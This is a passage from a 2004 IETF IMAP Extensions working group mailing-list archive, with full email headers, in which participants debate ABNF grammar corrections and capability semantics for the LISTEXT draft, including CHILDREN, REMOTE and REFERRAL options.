(8.12.11/8.12.9) with ESMTP id i4C0HkMO074928; Tue, 11 May 2004 17:17:46 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4C0Hk9B074927; Tue, 11 May 2004 17:17:46 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4C0HkFN074920 for ; Tue, 11 May 2004 17:17:46 -0700 (PDT) (envelope-from guenther@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4C0HngP029275 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Tue, 11 May 2004 17:17:49 -0700 (PDT) Received: from lab.smi.sendmail.com ([10.210.100.93]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4C0HnMv003186 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Tue, 11 May 2004 17:17:49 -0700 Received: from lab.smi.sendmail.com (localhost [127.0.0.1]) by lab.smi.sendmail.com (8.12.9/8.12.9) with ESMTP id i4C0HnHe099044 for ; Tue, 11 May 2004 17:17:49 -0700 (PDT) (envelope-from guenther@lab.smi.sendmail.com) Message-Id: <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> To: IMAP Extensions WG From: Phlip Guenther Subject: Re: Short summary of LISTEXT changes In-reply-to: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> Date: Tue, 11 May 2004 17:17:49 -0700 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski writes: >Its probably reasonable to also permit the empty list -- I didn't think >too hard about that. Okay, so wrap the list contents in brackets. simple-nstring-list = nstring / "(" [simple-nstring-list *(SP simple-nstring-list)] ")" ;; a recursive list definition Oh, and I think there was another typo: mbox-list-extended-item-data should be defined to use astring instead of string so that the first thing in each extended item can be an atom. mbox-list-extended-item-data = astring SP simple-nstring-list Hmm, actually, I would support using 'atom' there and require that it match the atom in the LIST argument list that caused it to appear. Philip Guenther Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLRevB063448; Tue, 11 May 2004 14:27:40 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BLRe2J063446; Tue, 11 May 2004 14:27:40 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLRdUU063438 for ; Tue, 11 May 2004 14:27:40 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4BLRhln027599; Tue, 11 May 2004 17:27:43 -0400 Date: Tue, 11 May 2004 17:27:44 -0400 (EDT) From: Rob Siemborski To: Philip Guenther cc: Ken Murchison , Alexey Melnikov , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-Reply-To: <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> Message-ID: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Tue, 11 May 2004, Philip Guenther wrote: > Those changes seem fine to me, though losing the empty list to gain NIL > seems ironic, for some reason... Its probably reasonable to also permit the empty list -- I didn't think too hard about that. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLLCSD062970; Tue, 11 May 2004 14:21:12 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BLLC17062969; Tue, 11 May 2004 14:21:12 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLLCpl062961 for ; Tue, 11 May 2004 14:21:12 -0700 (PDT) (envelope-from guenther@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4BLLFSw011066 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 11 May 2004 14:21:15 -0700 (PDT) Received: from lab.smi.sendmail.com ([10.210.100.93]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4BLLF4U007356 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 11 May 2004 14:21:15 -0700 Received: from lab.smi.sendmail.com (localhost [127.0.0.1]) by lab.smi.sendmail.com (8.12.9/8.12.9) with ESMTP id i4BLLCHe088603; Tue, 11 May 2004 14:21:12 -0700 (PDT) (envelope-from guenther@lab.smi.sendmail.com) Message-Id: <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> To: Rob Siemborski Cc: Ken Murchison , Alexey Melnikov , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-reply-to: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> Date: Tue, 11 May 2004 14:21:12 -0700 From: Philip Guenther Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski writes: >On Tue, 11 May 2004, Ken Murchison wrote: >> >> No objections (assuming ABNF is correct -- I haven't verified it). It had a typo (the "*" in simple-nstring-list should have been "1*") and, more seriously, had a shift/reduce conflict when trying to parse something like: ((FOO ("blip" "glarp"))) as the pair of strings there can be parsed as either an mbox-list-extended-item or a simple-nstring-list. Rob's suggestion fixes that nicely. >Well, one -- the ABNF is hideously ugly, and much more complicated than I >feel it needs to be to adequately describe what is probably necessary for >the extended item data. Most notably, there are two pairs of mutually >recursive productions, and I think it can be simplified down to: > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" mbox-list-extended-item-data ")" > > mbox-list-extended-item-data = string SP simple-nstring-list > > simple-nstring-list = nstring / > "(" simple-nstring-list *(SP simple-nstring-list) ")" > ;; a recursive list definition > >Without losing any *real* functionality. The only loss I see is the ability to have an empty list in the tree. I.e., the original accepted ((FOO ())) but this doesn't. In trade, it permits NIL to appear as the first item in any non-toplevel list, where the original didn't permit NIL to ever be the first item in a list and Alexey's recent grammar did only in simple-nstring-list. Thus, the original grammar rejected both of these: ((FOO (NIL "blip"))) ((FOO ((NIL "blip")))) while Alexey's recent proposal rejected only the second and Rob's rejects neither. Those changes seem fine to me, though losing the empty list to gain NIL seems ironic, for some reason... Philip Guenther Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BKJ6Bo058399; Tue, 11 May 2004 13:19:06 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BKJ6Wv058398; Tue, 11 May 2004 13:19:06 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BKJ63l058343 for ; Tue, 11 May 2004 13:19:06 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4BKI922023739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 11 May 2004 16:18:11 -0400 Date: Tue, 11 May 2004 16:19:04 -0400 From: Cyrus Daboo To: IMAP Extensions WG Subject: Do a list last call on annotate docs? Message-ID: <0904BD6844289616790F846A@ninevah.cyrusoft.com> X-Mailer: Mulberry/3.2.0a1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi folks, Recently new versions of the two annotate documents were posted. If the chairs agree, I think we should do a list last call on these and progress them through the draft process. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BK3bP3056863; Tue, 11 May 2004 13:03:37 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BK3bvP056862; Tue, 11 May 2004 13:03:37 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BK3agg056856 for ; Tue, 11 May 2004 13:03:36 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 11 May 2004 21:03:37 +0100 Message-ID: <40A13199.2020609@isode.com> Date: Tue, 11 May 2004 21:03:37 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Ken Murchison , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Tue, 11 May 2004, Ken Murchison wrote: > > >>No objections (assuming ABNF is correct -- I haven't verified it). >> >> >Me either. > >Well, one -- the ABNF is hideously ugly, and much more complicated than I >feel it needs to be to adequately describe what is probably necessary for >the extended item data. Most notably, there are two pairs of mutually >recursive productions, and I think it can be simplified down to: > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" mbox-list-extended-item-data ")" > > mbox-list-extended-item-data = string SP simple-nstring-list > > simple-nstring-list = nstring / > "(" simple-nstring-list *(SP simple-nstring-list) ")" > ;; a recursive list definition > >Without losing any *real* functionality. > That is fine with me. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJwDmu056515; Tue, 11 May 2004 12:58:13 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BJwDZf056514; Tue, 11 May 2004 12:58:13 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJwCGn056508 for ; Tue, 11 May 2004 12:58:12 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4BJwDln027457; Tue, 11 May 2004 15:58:13 -0400 Date: Tue, 11 May 2004 15:58:12 -0400 (EDT) From: Rob Siemborski To: Ken Murchison cc: Alexey Melnikov , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-Reply-To: <40A1066A.4000107@oceana.com> Message-ID: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Tue, 11 May 2004, Ken Murchison wrote: > > No objections (assuming ABNF is correct -- I haven't verified it). > Me either. Well, one -- the ABNF is hideously ugly, and much more complicated than I feel it needs to be to adequately describe what is probably necessary for the extended item data. Most notably, there are two pairs of mutually recursive productions, and I think it can be simplified down to: mbox-list-extended = "(" [mbox-list-extended-item *(SP mbox-list-extended-item)] ")" mbox-list-extended-item = "(" mbox-list-extended-item-data ")" mbox-list-extended-item-data = string SP simple-nstring-list simple-nstring-list = nstring / "(" simple-nstring-list *(SP simple-nstring-list) ")" ;; a recursive list definition Without losing any *real* functionality. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJ21Km050754; Tue, 11 May 2004 12:02:01 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BJ21CA050753; Tue, 11 May 2004 12:02:01 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJ20KJ050741 for ; Tue, 11 May 2004 12:02:00 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BJ1xHF016511; Tue, 11 May 2004 15:01:59 -0400 (EDT) Message-ID: <40A12358.70905@oceana.com> Date: Tue, 11 May 2004 15:02:48 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> <40A119D7.80703@isode.com> <40A11E5D.6050006@oceana.com> <40A12004.3060401@isode.com> In-Reply-To: <40A12004.3060401@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > LISTEXT gives the complete functionality of RFC 3348. However LIST > (REMOTE) only replaces RLIST/RLSUB from RFC 2193, the rest of RFC 2193 > is not affected. OK, that's what I expected. -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BImaKC049309; Tue, 11 May 2004 11:48:36 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BImadf049308; Tue, 11 May 2004 11:48:36 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BImZvu049301 for ; Tue, 11 May 2004 11:48:35 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 11 May 2004 19:48:36 +0100 Message-ID: <40A12004.3060401@isode.com> Date: Tue, 11 May 2004 19:48:36 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ken Murchison CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> <40A119D7.80703@isode.com> <40A11E5D.6050006@oceana.com> In-Reply-To: <40A11E5D.6050006@oceana.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Ken Murchison wrote: > Alexey Melnikov wrote: > >>> Is there any interaction between CHILDREN, REMOTE and their relevant >>> RFC's? >> >> There is an example in LISTEXT about LIST (CHILDREN REMOTE). I think >> this should be sufficient. > > Sorry, I meant is support for RFC 2193 required in order to support > LISTEXT REMOTE (and similarly for CHILDREN) No and no. > or does LISTEXT automatically give you support for the functionality > in RFC 2193 and RFC 3348? LISTEXT gives the complete functionality of RFC 3348. However LIST (REMOTE) only replaces RLIST/RLSUB from RFC 2193, the rest of RFC 2193 is not affected. >>> Cyrus supports both CHILDREN and LISTEXT, and if the client uses >>> LIST syntax, is always returns CHILDREN info (per the RFC). If the >>> client uses LISTEXT syntax, then it only gets CHILDREN info if the >>> client asked for it. >> >> I think this is reasonable. Do you think this should be mentioned in >> LISTEXT? > > I don't know, it seemed like common sense to me. Is LISTEXT going to > deprecate RFC 3348? I think it effectively does. But does WG wants to officially state that in LISTEXT? > If so, then something like this might be mention in a BCP doc. ... or just be part of LISTEXT. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIejix048574; Tue, 11 May 2004 11:40:45 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BIejMQ048573; Tue, 11 May 2004 11:40:45 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIejxb048567 for ; Tue, 11 May 2004 11:40:45 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BIehX9016009; Tue, 11 May 2004 14:40:43 -0400 (EDT) Message-ID: <40A11E5D.6050006@oceana.com> Date: Tue, 11 May 2004 14:41:33 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> <40A119D7.80703@isode.com> In-Reply-To: <40A119D7.80703@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: >> >> Is there any interaction between CHILDREN, REMOTE and their relevant >> RFC's? > > > There is an example in LISTEXT about LIST (CHILDREN REMOTE). I think > this should be sufficient. Sorry, I meant is support for RFC 2193 required in order to support LISTEXT REMOTE (and similarly for CHILDREN) or does LISTEXT automatically give you support for the functionality in RFC 2193 and RFC 3348? >> Cyrus supports both CHILDREN and LISTEXT, and if the client uses LIST >> syntax, is always returns CHILDREN info (per the RFC). If the client >> uses LISTEXT syntax, then it only gets CHILDREN info if the client >> asked for it. > > > I think this is reasonable. Do you think this should be mentioned in > LISTEXT? I don't know, it seemed like common sense to me. Is LISTEXT going to deprecate RFC 3348? If so, then something like this might be mention in a BCP doc. -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIMMJZ046390; Tue, 11 May 2004 11:22:22 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BIMMP3046389; Tue, 11 May 2004 11:22:22 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BIMHME046358 for ; Tue, 11 May 2004 11:22:21 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 11 May 2004 19:22:15 +0100 Message-ID: <40A119D7.80703@isode.com> Date: Tue, 11 May 2004 19:22:15 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ken Murchison CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <40A10601.10103@oceana.com> In-Reply-To: <40A10601.10103@oceana.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Ken Murchison wrote: > Alexey Melnikov wrote: > >> I've changed my mind about the CHILDREN option (\HasNoChildren might >> have some value), so I can live with it being part of LISTEXT. >> >> So, I propose to have single capability for LISTEXT that includes >> support for 3 options: SUBSCRIBED, CHILDREN and REMOTE. > > > So, the LIST-SUBSCRIBED capability goes away? Yes. > Is there any interaction between CHILDREN, REMOTE and their relevant > RFC's? There is an example in LISTEXT about LIST (CHILDREN REMOTE). I think this should be sufficient. >>> 2). Discussion about CHILDREN/LISTEXT interaction. If the server >>> should advertise CHILDREN if it supports LISTEXT. And how a client >>> that only supports CHILDREN will work with a LISTEXT server. This is >>> somewhat related to 1). >>> >>> (I don't have any opinion on this. Should I start a new thread and >>> post a digest of issues here?) >> >> I suggest no action. >> >>> 3). Extending LIST syntax to allow for additional parameter to a >>> list option, e.g. something like LIST (SORT (NAME DATE)) "" % >>> >>> No requirement for this right now, can be done later on. If you feel >>> strongly about this speak up now! >> >> Leave this for later. > > Cyrus supports both CHILDREN and LISTEXT, and if the client uses LIST > syntax, is always returns CHILDREN info (per the RFC). If the client > uses LISTEXT syntax, then it only gets CHILDREN info if the client > asked for it. I think this is reasonable. Do you think this should be mentioned in LISTEXT? >>> 5). Allow for referral information to be returned in response to >>> LIST (REFERRAL). >>> >>> Suggestion: add REFERRAL LIST option and response data to the >>> LISTEXT document, no new capability for this. Reason: referral data >>> can be returned for a locally renamed mailbox (i.e. NEWNAME response >>> code replacement), no need to support RFC 2193 for this. If the >>> server doesn't support referrals of any sort, this option will be >>> ignored. >> >> I am not sure if I've convinced Cyrus about usability of this. >> In order to speed up publication of LISTEXT I suggest that this can >> be done as a new extension. >> >> However I would suggest to do an ABNF change to allow for REFERRAL >> syntax that I've proposed earlier. I will post a separate message on >> this. > > No argument here. > >>> Related to this: do a revision of RFC 2193 that is using LISTEXT >>> framework (in particular obsolete RLIST/RLSUB). >>> >>> So, LISTEXT capability will mean: support for LIST option syntax, >>> support for \PlaceHolder and \NonExistent flags, support for >>> SUBSCRIBED/REMOTE/REFERRAL options (and maybe support for CHILDREN). >> >> LISTEXT capability will mean: support for LIST option syntax, support >> for \PlaceHolder and \NonExistent flags, support for >> SUBSCRIBED/REMOTE/CHILDREN options. > > > So, REMOTE is always supported independent of RFC 2193 support? Yes. And as I mentioned earlier, we need to do a revision of RFC 2193 that works with LISTEXT (and used LIST (REMOTE)). Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGwZ4g036235; Tue, 11 May 2004 09:58:35 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BGwZD3036234; Tue, 11 May 2004 09:58:35 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGwZPe036218 for ; Tue, 11 May 2004 09:58:35 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BGwWnp013807; Tue, 11 May 2004 12:58:32 -0400 (EDT) Message-ID: <40A1066A.4000107@oceana.com> Date: Tue, 11 May 2004 12:59:22 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> In-Reply-To: <409E1480.2010402@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > I would like to do 2 changes to the document before asking for Last Call: > > 1). Add a short clarification paragraph that describes what LISTEXT is: > support for LIST option syntax, support for \PlaceHolder and > \NonExistent flags, support for SUBSCRIBED/REMOTE/CHILDREN options. > > 2). Change ABNF from: > > mailbox-list = "(" [mbx-list-flags] ")" SP > (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox > [SP mbox-list-extended] > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" string SP (nstring / > mbox-list-extended-item) ")" > / mailbox-list-extended > to: > > mailbox-list = "(" [mbx-list-flags] ")" SP > (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox > [SP mbox-list-extended] > > (mailbox-list hasn't been changed) > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" mbox-list-extended-item-data ")" > / mailbox-list-extended > > mbox-list-extended-item-data = string SP (nstring / > simple-nstring-list / > mbox-list-extended-item) > > simple-nstring-list = "(" nstring *(SP nstring) ")" > ;; two or more nstrings grouped in parentheses > > This is done to allow for REFERRAL syntax that I've suggested earlier: > > referral_data = "REFERRAL" SP "(" urlstring *(SP urlstring) ")" > > urlstring = <"> url <"> > ; See [RFC-1738] for definition > > where referral_data matches mbox-list-extended-item-data ABNF production. No objections (assuming ABNF is 